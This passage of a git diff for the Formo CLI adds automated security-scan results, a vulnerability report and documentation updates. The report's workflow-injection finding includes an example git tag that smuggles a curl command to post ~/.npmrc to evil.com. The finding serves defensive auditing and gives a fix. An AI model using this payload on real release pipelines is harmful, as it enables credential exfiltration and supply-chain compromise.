plaintext API key with `fs.writeFileSync(CONFIG_FILE, ..., { mode: 0o600 })` and creates the directory with `fs.mkdirSync(CONFIG_DIR, { recursive: true, mode: 0o700 })`. Per Node.js semantics, the `mode` option of `writeFileSync` is applied ONLY when the file is newly created (open with O_CREAT). If `~/.config/formo/config.json` already exists, the mode is NOT re-applied — the file is merely truncated and rewritten while retaining its existing permissions. Likewise, `mkdirSync` does not chmod an already-existing CONFIG_DIR. The codebase's documented threat model ranks 'API-key disclosure via weak config-file perms' as the #1 impact, and the sole stated control for the plaintext-credential store is exactly this `0o600`/`0o700` mode. That control is conditional: it holds only for a clean first creation. Realistic ways the file pre-exists with looser (e.g., 0o644, group/world-readable) permissions before saveConfig runs include: (a) an older `@formo/cli` version that wrote config.json without the `mode` option (default 0o666 & ~umask → typically 0o644); (b) the user or another tool creating the file first; (c) a backup/restore or dotfile-sync tool resetting modes; (d) `EXISTING` config dir created by another app under `~/.config`. In any of these cases `formo login` writes a long-lived `formo_…` API key into a world/group-readable file on a multi-user host, disclosing the credential to other local users — the precise risk the 0o600 control was meant to prevent. clearConfig() (L35-37) has the same create-only-mode limitation (lower impact since it writes `{}`).", + "lineNumbers": [ + 26, + 27, + 28, + 29 + ], + "recommendation": "Do not rely on writeFileSync's create-only `mode`. After writing, explicitly enforce permissions: `fs.chmodSync(CONFIG_FILE, 0o600)` (and `fs.chmodSync(CONFIG_DIR, 0o700)`), or write atomically via `fs.openSync(CONFIG_FILE, 'w', 0o600)` followed by `fs.fchmodSync(fd, 0o600)` before writing, then rename. Optionally detect and warn (or refuse) if the existing file/dir has group/other bits set. Apply the same chmod hardening in clearConfig().", + "confidence": "medium", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.829Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 1, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + }, + { + "filePath": "src/lib/ui.ts", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:31:02.648Z", + "durationMs": 42587, + "durationApiMs": 39632, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", + "findingCount": 0, + "numTurns": 2.25, + "phase": "process", + "costUsd": 0.17684918750000003, + "usage": { + "inputTokens": 3, + "outputTokens": 2741.25, + "cacheReadInputTokens": 53677.75, + "cacheCreationInputTokens": 13034.25 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ] + } + ] +} diff --git a/.deepsec/data/cli/reports/report.md b/.deepsec/data/cli/reports/report.md new file mode 100644 index 0000000..44de4e4 --- /dev/null +++ b/.deepsec/data/cli/reports/report.md @@ -0,0 +1,91 @@ +# Vulnerability Scan Report + +| Field | Value | +|-------|-------| +| Project | cli | +| Date | 2026-05-18T13:32:27.438Z | +| Files tracked | 16 | +| Files analyzed | 16 | +| Total findings | 4 | + +## Summary + +| Severity | Count | +|----------|-------| +| CRITICAL | 0 | +| HIGH | 1 | +| MEDIUM | 1 | +| HIGH_BUG | 0 | +| BUG | 2 | + +## HIGH (1) + +### Command injection in release workflow via attacker-controlled git tag name (supply-chain RCE) + +- **File:** `.github/workflows/release.yml` +- **Recent committers:** Yos Riady <1084226+yosriady@users.noreply.github.com>, ngogiahuandev +- **Lines:** 49, 55, 79, 82 +- **Slug:** github-workflow-security +- **Confidence:** high + +The `publish` job interpolates tag-derived GitHub Actions expressions directly into multi-line `run:` shell scripts. L79 `CURRENT_TAG=${{ github.ref_name }}` injects the raw tag name, and L55/L82 `TAG_VERSION=${{ steps.version.outputs.version }}` / `VERSION=${{ steps.version.outputs.version }}` inject the `version` step output which is derived at L49 from the tag itself (`VERSION=${GITHUB_REF#refs/tags/v}`). Actions performs `${{ }}` substitution textually BEFORE the shell runs, so the tag name becomes literal shell source. Git ref-naming rules forbid spaces and a few metacharacters but PERMIT `;`, `$`, backtick, `(`, `)`, `|`, `&`, `{`, `}`, `<`, `>`. A tag such as `v1.0.0;curl${IFS}-d@$HOME/.npmrc${IFS}evil.com` (or backtick/`$()` variants, using `${IFS}` to avoid spaces) yields `CURRENT_TAG=v1.0.0;curl ... evil.com`, executing arbitrary commands. The `publish` job holds `id-token: write` (npm OIDC trusted publishing), `contents: write`, and environment access to `secrets.TEST_TOKEN` and `secrets.GITHUB_TOKEN`. Arbitrary code execution here means an attacker can publish a malicious `@formo/cli` to npm, exfiltrate the OIDC-minted npm publish token and `GITHUB_TOKEN`, and tamper with releases — a full supply-chain compromise of a published package. The earlier 'Verify tag is on main branch' step only checks `github.sha` ancestry (a hex SHA, not injectable) and does NOT validate the tag NAME, so it does not mitigate this: an attacker can point a maliciously-named tag at a legitimate main commit and the guard still passes. Precondition: ability to push/create a tag (repository write access; default GitHub has no tag-protection). This is a privilege escalation from 'write access' to 'arbitrary npm publish + OIDC/secret exfiltration', and is the canonical GitHub Actions script-injection anti-pattern (CWE-78) that GitHub explicitly warns against. + +**Recommendation:** Never interpolate `${{ github.ref_name }}` or any tag/ref-derived value (including `steps.version.outputs.version`, which is computed from the tag) directly into a `run:` block. Pass them through the step's `env:` map and reference them as quoted shell variables, e.g.: + + - name: Generate release notes + env: + CURRENT_TAG: ${{ github.ref_name }} + VERSION: ${{ steps.version.outputs.version }} + run: | + PREV_TAG=$(git tag -l 'v*' --sort=-version:refname | grep -v "^${CURRENT_TAG}$" | head -1) + +Do the same for the `TAG_VERSION` usage at L55. Environment-variable values are not re-parsed as shell, so injection is prevented. Additionally, harden the version regex (e.g. validate `github.ref_name` matches `^v[0-9]+\.[0-9]+\.[0-9]+([.-][0-9A-Za-z.]+)?$` and `exit 1` otherwise before any other step), and enable GitHub tag protection rules so only trusted maintainers can create `v*` tags. + +--- + +## MEDIUM (1) + +### API-key config file permission control (0o600) silently bypassed when config.json already exists + +- **File:** `src/lib/config.ts` +- **Recent committers:** ngogiahuandev +- **Lines:** 26, 27, 28, 29 +- **Slug:** other-insecure-file-permissions +- **Confidence:** medium + +saveConfig() persists the plaintext API key with `fs.writeFileSync(CONFIG_FILE, ..., { mode: 0o600 })` and creates the directory with `fs.mkdirSync(CONFIG_DIR, { recursive: true, mode: 0o700 })`. Per Node.js semantics, the `mode` option of `writeFileSync` is applied ONLY when the file is newly created (open with O_CREAT). If `~/.config/formo/config.json` already exists, the mode is NOT re-applied — the file is merely truncated and rewritten while retaining its existing permissions. Likewise, `mkdirSync` does not chmod an already-existing CONFIG_DIR. The codebase's documented threat model ranks 'API-key disclosure via weak config-file perms' as the #1 impact, and the sole stated control for the plaintext-credential store is exactly this `0o600`/`0o700` mode. That control is conditional: it holds only for a clean first creation. Realistic ways the file pre-exists with looser (e.g., 0o644, group/world-readable) permissions before saveConfig runs include: (a) an older `@formo/cli` version that wrote config.json without the `mode` option (default 0o666 & ~umask → typically 0o644); (b) the user or another tool creating the file first; (c) a backup/restore or dotfile-sync tool resetting modes; (d) `EXISTING` config dir created by another app under `~/.config`. In any of these cases `formo login` writes a long-lived `formo_…` API key into a world/group-readable file on a multi-user host, disclosing the credential to other local users — the precise risk the 0o600 control was meant to prevent. clearConfig() (L35-37) has the same create-only-mode limitation (lower impact since it writes `{}`). + +**Recommendation:** Do not rely on writeFileSync's create-only `mode`. After writing, explicitly enforce permissions: `fs.chmodSync(CONFIG_FILE, 0o600)` (and `fs.chmodSync(CONFIG_DIR, 0o700)`), or write atomically via `fs.openSync(CONFIG_FILE, 'w', 0o600)` followed by `fs.fchmodSync(fd, 0o600)` before writing, then rename. Optionally detect and warn (or refuse) if the existing file/dir has group/other bits set. Apply the same chmod hardening in clearConfig(). + +--- + +## BUG (2) + +### HTTP GET issued with a request body for profile search conditions + +- **File:** `src/commands/profiles.ts` +- **Recent committers:** Yos Riady <1084226+yosriady@users.noreply.github.com>, ngogiahuandev +- **Lines:** 124 +- **Slug:** other-logic-bug +- **Confidence:** low + +searchProfilesRun() sends the validated `--conditions`/`--logic` payload as the body of a GET request: `client.request({ method: 'get', url: '/v0/profiles/', params, data: body })`. Bodies on GET requests are not reliably transmitted — axios sends them, but many HTTP intermediaries, proxies, and server frameworks strip or ignore GET request bodies. If the body is dropped anywhere along the path, the filter conditions are silently discarded and the endpoint returns the entire unfiltered profile dataset. This is exactly the silent-unfiltered-result footgun that parseSearchConditions()'s own comments (lines 52-55, 96-98) go to great lengths to prevent for bare field names. Not a security vulnerability (data is the caller's own project data under their own scoped key), but a correctness/cost concern: a user believing they filtered to a small result set may instead page through the full dataset. Low confidence because it depends on api.formo.so and the transport actually honoring GET bodies, which cannot be verified from the client code alone. + +**Recommendation:** Either send the conditions payload via POST (e.g. a dedicated search endpoint) or confirm api.formo.so reliably reads GET bodies. If the GET-with-body contract is intentional and supported end-to-end, document it explicitly so future maintainers do not 'fix' it. + +--- + +### buildCreateSegmentBody does not validate that --filter-sets is an array + +- **File:** `src/commands/segments.ts` +- **Recent committers:** Yos Riady <1084226+yosriady@users.noreply.github.com>, ngogiahuandev +- **Lines:** 32, 33, 34, 35, 36, 37, 38, 42 +- **Slug:** other-input-validation +- **Confidence:** high + +buildCreateSegmentBody() does `JSON.parse(options.filterSets)` and forwards the result unchanged, but never checks `Array.isArray(parsedFilterSets)`. Both the catch-block error message ('--filter-sets must be a valid JSON array') and the Zod option description ('JSON array of filter set strings defining the segment') promise array validation that the code does not perform. Inputs like `--filter-sets '{"x":1}'`, `--filter-sets '5'`, or `--filter-sets '"foo"'` are valid JSON and therefore pass client-side validation, sending a malformed `filterSets` shape to POST /v0/segments/. This is inconsistent with the sibling validator buildImportBody() in import.ts (lines 19-21), which correctly rejects non-arrays. Not a security issue — the server enforces the real schema under the segments:write scope — but the misleading error message degrades the CLI/agent UX and can mask the actual cause of a server rejection. + +**Recommendation:** After JSON.parse, add `if (!Array.isArray(parsedFilterSets)) throw new Error('--filter-sets must be a valid JSON array')`, mirroring buildImportBody() in import.ts, so the validation matches the documented contract. + +--- + diff --git a/.deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json b/.deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json new file mode 100644 index 0000000..be6b6b1 --- /dev/null +++ b/.deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json @@ -0,0 +1,93 @@ +{ + "runId": "20260518132755-84f586919cca3cc4", + "projectId": "cli", + "rootPath": "/Users/yos/cli", + "createdAt": "2026-05-18T13:27:55.810Z", + "type": "scan", + "phase": "done", + "pid": 94471, + "hostname": "Mac.lan", + "scannerConfig": { + "matcherSlugs": [ + "auth-bypass", + "missing-auth", + "xss", + "rce", + "sql-injection", + "ssrf", + "path-traversal", + "secrets-exposure", + "insecure-crypto", + "open-redirect", + "public-endpoint", + "service-entry-point", + "webhook-handler", + "iam-permissions", + "unsafe-redirect", + "dangerous-html", + "jwt-handling", + "env-exposure", + "rate-limit-bypass", + "cross-tenant-id", + "secret-in-fallback", + "secret-in-log", + "url-regex-validation", + "git-provider-url-injection", + "cron-secret-check", + "lua-string-concat-url", + "lua-ngx-exec", + "lua-shared-dict-poisoning", + "lua-regex-bypass", + "lua-crypto-weakness", + "cache-key-poisoning", + "secret-env-var", + "unverified-lookup", + "oauth-flow", + "security-behind-flag", + "spread-operator-injection", + "non-atomic-operation", + "debug-endpoint", + "postmessage-origin", + "algorithm-confusion", + "object-injection", + "env-var-as-bool", + "response-header-leak", + "cors-wildcard", + "unsafe-deserialization", + "agent-tool-definition", + "dev-auth-bypass", + "streaming-endpoint", + "expensive-api-abuse", + "process-env-access", + "missing-await", + "sensitive-data-in-traces", + "cache-key-scope", + "non-atomic-read-delete", + "test-header-bypass", + "event-handler-mismatch", + "error-message-leak", + "crypto-usage", + "secrets-plaintext-exposure", + "k8s-secret-reference", + "k8s-secrets-init-container", + "sandbox-runtime-script", + "github-workflow-security", + "agentic-untrusted-prompt-input", + "snowflake-bigquery-sql", + "slack-signing-verification", + "session-cookie-config", + "zod-passthrough-mass-assignment", + "untrusted-redirect-following", + "agent-loop-no-cap", + "prompt-leaks-system-prompt", + "fs-write-symlink-boundary", + "js-sql-raw", + "js-nosql-injection" + ] + }, + "stats": { + "filesScanned": 16, + "candidatesFound": 24 + }, + "completedAt": "2026-05-18T13:27:56.027Z" +} diff --git a/.deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json b/.deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json new file mode 100644 index 0000000..86fd728 --- /dev/null +++ b/.deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json @@ -0,0 +1,27 @@ +{ + "runId": "20260518132805-a5fd1949eb744d8b", + "projectId": "cli", + "rootPath": "/Users/yos/cli", + "createdAt": "2026-05-18T13:28:05.587Z", + "type": "process", + "phase": "done", + "pid": 94587, + "hostname": "Mac.lan", + "processorConfig": { + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "invocationMode": "scan" + }, + "stats": { + "filesProcessed": 16, + "findingsCount": 4, + "totalCostUsd": 2.88212875, + "totalInputTokens": 36, + "totalOutputTokens": 46401, + "totalDurationMs": 684144 + }, + "completedAt": "2026-05-18T13:32:16.571Z" +} diff --git a/README.md b/README.md index 1d4d904..602c065 100644 --- a/README.md +++ b/README.md @@ -26,6 +26,13 @@ export FORMO_API_KEY=formo_abc123 Get your API key from `Settings → API Keys` in the [Formo dashboard](https://app.formo.so). +For local development or proxying, override API hosts with: + +```bash +export FORMO_API_BASE_URL=http://localhost:3001 +export FORMO_EVENTS_BASE_URL=http://localhost:3002 +``` + --- ## Auth commands @@ -114,6 +121,15 @@ formo profiles update vitalik.eth --properties '{"email":"alice@example.com"}' > Requires `profiles:write` scope. +### `profiles properties batch` + +Batch update first-party properties for up to 100 wallets. + +```bash +formo profiles properties batch \ + --rows '[{"address":"0xd8dA...","display_name":"alice.eth","email":"alice@example.com"}]' +``` + ### `profiles labels create
` Upsert one or more labels on a wallet profile. Provide either a single label via `--tag-id` or a batch via `--labels`. @@ -123,12 +139,16 @@ Upsert one or more labels on a wallet profile. Provide either a single label via | `--tag-id` | Label identifier (e.g. `vip`, `airdrop_eligible`) | | `--value` | Optional label value (e.g. tier name, country code) | | `--chain-id` | Optional chain identifier the label applies to | +| `--timestamp` | Optional historical ISO-8601 timestamp | +| `--is-deleted` | Backfill a historical label removal tombstone | | `--labels` | JSON array of `UserLabelInput` objects for batch upsert | ```bash formo profiles labels create 0xd8dA... --tag-id vip formo profiles labels create 0xd8dA... --tag-id tier --value gold --chain-id 1 formo profiles labels create 0xd8dA... --labels '[{"tag_id":"vip"},{"tag_id":"airdrop_eligible","chain_id":"1"}]' +formo profiles labels create 0xd8dA... --tag-id tier --timestamp 2024-03-15T00:00:00.000Z --is-deleted +formo profiles labels batch --labels '[{"address":"0xd8dA...","tag_id":"vip","value":"tier-1"}]' ``` ### `profiles labels delete
` @@ -164,7 +184,7 @@ Get a single alert by ID. | Option | Description | |---|---| | `--name` | Alert name | -| `--trigger-type` | Trigger type (e.g. `event`, `threshold`) | +| `--trigger-type` | Trigger type: `event` or `user` | | `--trigger-filters` | JSON array of trigger filter objects | | `--recipient` | JSON array of recipient objects | | `--secret` | Webhook secret | @@ -181,11 +201,18 @@ Same options as `create`. Replaces the alert configuration. ### `alerts delete ` Delete an alert. -### `alerts toggle --status ` -Toggle an alert between `active` and `paused`. +### `alerts toggle --status ` +Toggle an alert between `active` and `inactive`. + +```bash +formo alerts toggle alert_abc123 --status inactive +``` + +### `alerts test ` +Send a test alert delivery with optional sample payloads. ```bash -formo alerts toggle alert_abc123 --status paused +formo alerts test alert_abc123 --sample-event '{"event":"transaction","revenue":250}' ``` --- @@ -204,19 +231,21 @@ Get a single board by ID. | Option | Description | |---|---| -| `--name` | Board name | +| `--title` | Board title | | `--description` | Optional board description | +| `--is-public` | Make the board publicly viewable | ```bash -formo boards create --name "Revenue Metrics" --description "Weekly revenue tracking" +formo boards create --title "Revenue Metrics" --description "Weekly revenue tracking" ``` ### `boards update ` | Option | Description | |---|---| -| `--name` | New board name | +| `--title` | New board title | | `--description` | New board description | +| `--is-public` | Update public visibility | ### `boards delete ` Delete a board. @@ -233,12 +262,30 @@ List all charts in a board. ### `charts get --board-id ` Get a single chart by ID. -### `charts create --board-id --body ''` -Create a chart from a JSON config string. +### `charts meta --board-id ` +List lightweight chart metadata without executing chart queries. + +### `charts create --board-id [options]` +Create a chart from typed flags or a raw JSON body. + +```bash +formo charts create --board-id brd_123 --title "Daily Active Users" \ + --chart-type line \ + --query "SELECT toDate(timestamp) AS date, countDistinct(address) AS users FROM events GROUP BY date ORDER BY date" \ + --x-axis date --y-axis users + +formo charts create --board-id brd_123 --body '{"title":"Recent Events","chart_type":"table","query":"SELECT * FROM events LIMIT 10"}' +``` ### `charts update --board-id --body ''` Update a chart. +### `charts query --board-id --date-from --date-to ` +Execute a saved chart that uses `{{date_from}}` / `{{date_to}}` variables. + +### `charts move|duplicate|reorder` +Move a chart to another board, duplicate a chart, or reorder charts in a board. + ### `charts delete --board-id ` Delete a chart. @@ -251,6 +298,12 @@ Smart contract commands. Requires `contracts:read` / `contracts:write`. ### `contracts list` List all tracked contracts. Returns `{ data: Contract[], deploy: { last_deployed_at, diff }, total, page, size, has_more }`. +### `contracts get
` +Get a single tracked contract. + +### `contracts recommendations` +List contracts the project already interacts with but has not added yet. + ### `contracts create` | Option | Description | @@ -258,13 +311,15 @@ List all tracked contracts. Returns `{ data: Contract[], deploy: { last_deployed | `--address` | Contract address (`0x…`) | | `--chain` | Chain ID (e.g. `1`, `137`) | | `--name` | Human-readable contract name | -| `--abi` | Contract ABI as a JSON string | -| `--events` | Events configuration as a JSON string | +| `--abi` | Contract ABI as a JSON string; sent stringified to the API | +| `--events` | JSON array of ABI event objects to monitor | +| `--start-block` | Optional start block | +| `--include-in-pipeline` | Include this contract in the Goldsky events pipeline (`true` by default in the API) | ```bash formo contracts create --address 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984 --chain 1 \ --name "UNI Token" --abi '[{"type":"event","name":"Transfer","inputs":[]}]' \ - --events '{"Transfer":true}' + --events '[{"type":"event","name":"Transfer","inputs":[]}]' ``` ### `contracts update
` @@ -273,7 +328,12 @@ formo contracts create --address 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984 --ch |---|---| | `--name` | Updated contract name | | `--abi` | Updated ABI | -| `--events` | Updated events config | +| `--events` | Updated JSON array of ABI event objects | +| `--start-block` | Optional start block | +| `--include-in-pipeline` | Include or exclude this contract from the Goldsky events pipeline | + +### `contracts pipeline
--include-in-pipeline ` +Toggle pipeline inclusion without re-sending the full ABI/events payload. ### `contracts delete
` Remove a tracked contract. @@ -348,10 +408,24 @@ Bulk-import wallet addresses into the project via the events API. | Option | Description | |---|---| | `--addresses` | JSON array of wallet address strings | -| `--write-key` | Project write SDK key | +| `--rows` | JSON array of `{address,properties?}` objects | + +```bash +formo import wallets --addresses '["0xabc...","0xdef..."]' +formo import wallets --rows '[{"address":"0xabc...","properties":{"display_name":"Alice"}}]' +``` + +--- + +## `formo events` + +### `events ingest` + +Send raw analytics events to `events.formo.so`. This command uses a project SDK write key, not the workspace API key. ```bash -formo import wallets --addresses '["0xabc...","0xdef..."]' --write-key write_key_xyz +export FORMO_WRITE_KEY=formo_write_key_xxx +formo events ingest --event '{"type":"track","channel":"cli","version":"1","anonymous_id":"anon_123","event":"CLI Test","context":{},"properties":{},"original_timestamp":"2026-04-27T23:05:38.000Z","sent_at":"2026-04-27T23:05:42.000Z","message_id":"cli-test-1"}' ``` --- diff --git a/SKILLS.md b/SKILLS.md index f1c3c56..4679811 100644 --- a/SKILLS.md +++ b/SKILLS.md @@ -14,6 +14,8 @@ formo login Saves your key to `~/.config/formo/config.json`. The `FORMO_API_KEY` environment variable takes precedence if set. +For local development, set `FORMO_API_BASE_URL` for the REST API host and `FORMO_EVENTS_BASE_URL` for event ingestion. + ### Check authentication status ```bash @@ -65,6 +67,7 @@ formo profiles search [options] | Option | Values | Description | |---|---|---| | `--address` | `string` | Filter to a specific wallet address | +| `--search` | `string` | Free-text search across address and identity fields | | `--page` | `number` | Page number (1-indexed, default `1`) | | `--size` | `number` | Page size (default `100`, max `1000`) | | `--order-by` | see below | Field to sort by | @@ -119,6 +122,28 @@ Combine multiple conditions with `--logic and` (default) or `--logic or`. --- +### Update profile properties + +```bash +formo profiles update
--properties '{"display_name":"Alice","twitter":"alice"}' +formo profiles properties batch --rows '[{"address":"0xabc...","display_name":"Alice"}]' +``` + +> Requires `profiles:write` scope. + +### Manage profile labels + +```bash +formo profiles labels create
--tag-id vip --value tier-1 +formo profiles labels create
--tag-id tier --timestamp 2024-03-15T00:00:00.000Z --is-deleted +formo profiles labels batch --labels '[{"address":"0xabc...","tag_id":"vip","value":"tier-1"}]' +formo profiles labels delete
--tag-id vip +``` + +> Requires `profiles:write` scope. + +--- + ## SQL Analytics Queries ### Run a SQL query @@ -219,7 +244,7 @@ formo alerts create --name --trigger-type [options] | Option | Description | |---|---| | `--name` | Alert name | -| `--trigger-type` | Trigger type (e.g. `event`, `threshold`) | +| `--trigger-type` | Trigger type: `event` or `user` | | `--trigger-filters` | JSON array of trigger filter objects (optional) | | `--recipient` | JSON array of recipient objects (optional) | | `--secret` | Webhook secret string (optional) | @@ -232,9 +257,9 @@ formo alerts create --name --trigger-type [options] formo alerts create --name "High value tx" --trigger-type event # Create an alert with filters and recipients -formo alerts create --name "Whale alert" --trigger-type threshold \ - --trigger-filters '[{"field":"amount","op":"gt","value":100000}]' \ - --recipient '["https://hooks.example.com/formo"]' +formo alerts create --name "Whale alert" --trigger-type event \ + --trigger-filters '[{"name":"revenue","operator":"greater_than","value":"100000"}]' \ + --recipient '[{"type":"webhook","value":["https://hooks.example.com/formo"]}]' ``` ### Update an alert @@ -256,24 +281,30 @@ formo alerts delete ### Toggle alert status ```bash -formo alerts toggle --status +formo alerts toggle --status ``` | Option | Values | Description | |---|---|---| -| `--status` | `active`, `paused` | New alert status | +| `--status` | `active`, `inactive` | New alert status | > Requires `alerts:write` scope. **Examples:** ```bash -# Pause an alert -formo alerts toggle alert_abc123 --status paused +# Deactivate an alert +formo alerts toggle alert_abc123 --status inactive # Re-activate an alert formo alerts toggle alert_abc123 --status active ``` +### Test alert delivery + +```bash +formo alerts test --sample-event '{"event":"transaction","revenue":250}' +``` + --- ## Dashboard Boards @@ -299,26 +330,27 @@ formo boards get ### Create a board ```bash -formo boards create --name [--description ] +formo boards create --title [--description <desc>] [--is-public] ``` | Option | Description | |---|---| -| `--name` | Board name | +| `--title` | Board title | | `--description` | Board description (optional) | +| `--is-public` | Whether the board is publicly viewable | > Requires `boards:write` scope. **Examples:** ```bash -formo boards create --name "KPI Dashboard" -formo boards create --name "Revenue Metrics" --description "Weekly revenue tracking" +formo boards create --title "KPI Dashboard" +formo boards create --title "Revenue Metrics" --description "Weekly revenue tracking" ``` ### Update a board ```bash -formo boards update <boardId> [--name <name>] [--description <desc>] +formo boards update <boardId> [--title <title>] [--description <desc>] [--is-public] ``` > Requires `boards:write` scope. @@ -345,6 +377,14 @@ formo charts list --board-id <boardId> > Requires `boards:read` scope. +### List chart metadata + +```bash +formo charts meta --board-id <boardId> +``` + +> Requires `boards:read` scope. + ### Get a single chart ```bash @@ -356,20 +396,27 @@ formo charts get <chartId> --board-id <boardId> ### Create a chart ```bash -formo charts create --board-id <boardId> --body '<json>' +formo charts create --board-id <boardId> [--body '<json>' | typed chart options] ``` | Option | Description | |---|---| | `--board-id` | Board ID to add the chart to | | `--body` | Full chart configuration as a JSON string | +| `--title` | Chart title | +| `--chart-type` | `table`, `number`, `funnel`, `bar`, `line`, `area`, `pie`, `stacked`, `user_paths`, `retention` | +| `--query` | SQL query for SQL-backed charts | +| `--x-axis` / `--y-axis` / `--group-by` | Chart encodings | +| `--steps` / `--settings` | JSON for funnel/user-path/retention chart settings | > Requires `boards:write` scope. **Examples:** ```bash formo charts create --board-id board_abc123 \ - --body '{"name":"Daily active users","chartType":"line"}' + --title "Daily active users" --chart-type line \ + --query "SELECT toDate(timestamp) AS date, countDistinct(address) AS users FROM events GROUP BY date ORDER BY date" \ + --x-axis date --y-axis users ``` ### Update a chart @@ -380,6 +427,15 @@ formo charts update <chartId> --board-id <boardId> --body '<json>' > Requires `boards:write` scope. +### Query, move, duplicate, or reorder charts + +```bash +formo charts query <chartId> --board-id <boardId> --date-from 2026-04-01 --date-to 2026-04-30 +formo charts move <chartId> --board-id <sourceBoardId> --target-board-id <targetBoardId> +formo charts duplicate <chartId> --board-id <boardId> +formo charts reorder --board-id <boardId> --chart-ids chart_a,chart_b,chart_c +``` + ### Delete a chart ```bash @@ -402,6 +458,24 @@ formo contracts list > Requires `contracts:read` scope. +### Get a contract + +```bash +formo contracts get <chain> <address> +``` + +> Requires `contracts:read` scope. + +### Get recommended contracts + +```bash +formo contracts recommendations +``` + +Lists contracts the project already interacts with but has not added yet. + +> Requires `contracts:read` scope. + ### Register a contract ```bash @@ -414,7 +488,9 @@ formo contracts create --address <addr> --chain <chainId> --name <name> --abi '< | `--chain` | Chain ID (e.g. `1` for Ethereum, `137` for Polygon) | | `--name` | Human-readable contract name | | `--abi` | Contract ABI as a JSON string | -| `--events` | Events configuration as a JSON string | +| `--events` | JSON array of ABI event objects to monitor | +| `--start-block` | Optional start block | +| `--include-in-pipeline` | Include this contract in the Goldsky events pipeline | > Requires `contracts:write` scope. @@ -425,7 +501,7 @@ formo contracts create \ --chain 1 \ --name "My Token" \ --abi '[{"type":"event","name":"Transfer","inputs":[]}]' \ - --events '{"Transfer":true}' + --events '[{"type":"event","name":"Transfer","inputs":[]}]' ``` ### Update a contract @@ -441,6 +517,16 @@ formo contracts update <chain> <address> --name <name> --abi '<json>' --events ' > Requires `contracts:write` scope. +### Toggle pipeline inclusion + +```bash +formo contracts pipeline <chain> <address> --include-in-pipeline false +``` + +Use this when a contract should remain registered for ABI decoding but be excluded from pipeline deploys. + +> Requires `contracts:write` scope. + ### Delete a contract ```bash @@ -496,21 +582,35 @@ formo segments delete <segmentId> Bulk import wallet addresses into a project to track them. This creates identify events for each address. ```bash -formo import wallets --addresses '<json>' --write-key <writeKey> +formo import wallets --addresses '<json>' +formo import wallets --rows '<json>' ``` | Option | Description | |---|---| | `--addresses` | JSON array of wallet address strings to import | -| `--write-key` | Project write SDK key | +| `--rows` | JSON array of `{address,properties?}` objects | > Requires `profiles:write` scope. **Only available on Scale and Enterprise plans.** **Examples:** ```bash formo import wallets \ - --addresses '["0xabc123…","0xdef456…"]' \ - --write-key write_key_xxx + --addresses '["0xabc123…","0xdef456…"]' + +formo import wallets \ + --rows '[{"address":"0xabc123…","properties":{"display_name":"Alice"}}]' +``` + +--- + +## Raw Event Ingestion + +Send analytics events to `events.formo.so` with a project SDK write key. + +```bash +export FORMO_WRITE_KEY=formo_write_key_xxx +formo events ingest --event '{"type":"track","channel":"cli","version":"1","anonymous_id":"anon_123","event":"CLI Test","context":{},"properties":{},"original_timestamp":"2026-04-27T23:05:38.000Z","sent_at":"2026-04-27T23:05:42.000Z","message_id":"cli-test-1"}' ``` --- diff --git a/src/commands/alerts.ts b/src/commands/alerts.ts index bde37cc..e450a73 100644 --- a/src/commands/alerts.ts +++ b/src/commands/alerts.ts @@ -1,5 +1,6 @@ import { Cli, z } from 'incur' import { createClient, requireApiKey } from '../lib/client' +import { parseJsonArray, parseJsonObject } from '../lib/json' export const alerts = Cli.create('alerts', { description: 'Project alert commands — create, list, update, and delete alerts', @@ -7,18 +8,34 @@ export const alerts = Cli.create('alerts', { // ── List alerts ── -export function listAlertsRun() { +export interface PaginationOptions { + page?: number + size?: number +} + +function buildPaginationParams(options: PaginationOptions = {}) { + const params: Record<string, number> = {} + if (options.page !== undefined) params.page = options.page + if (options.size !== undefined) params.size = options.size + return params +} + +export function listAlertsRun(options: PaginationOptions = {}) { requireApiKey() const client = createClient() - return client.get('/v0/alerts/') + return client.get('/v0/alerts/', { params: buildPaginationParams(options) }) } alerts.command('list', { description: 'List all alerts for the project', + options: z.object({ + page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), + size: z.coerce.number().optional().describe('Page size (default 100, max 200)'), + }), examples: [{ description: 'List all project alerts' }], hint: 'Requires alerts:read scope on your API key.', - run() { - return listAlertsRun() + run({ options }) { + return listAlertsRun(options) }, }) @@ -48,38 +65,42 @@ alerts.command('get', { export interface CreateAlertOptions { name: string - triggerType: string + triggerType: 'event' | 'user' | string triggerFilters?: string recipient?: string secret?: string + slackPropertyKeys?: string } export function buildAlertBody(options: CreateAlertOptions | UpdateAlertOptions) { const body: Record<string, unknown> = { name: options.name, trigger_type: options.triggerType, + trigger_filters: [], } if (options.triggerFilters) { - try { - body.trigger_filters = JSON.parse(options.triggerFilters) - } catch { - throw new Error('--trigger-filters must be a valid JSON array') - } + body.trigger_filters = parseJsonArray( + options.triggerFilters, + '--trigger-filters', + ) } if 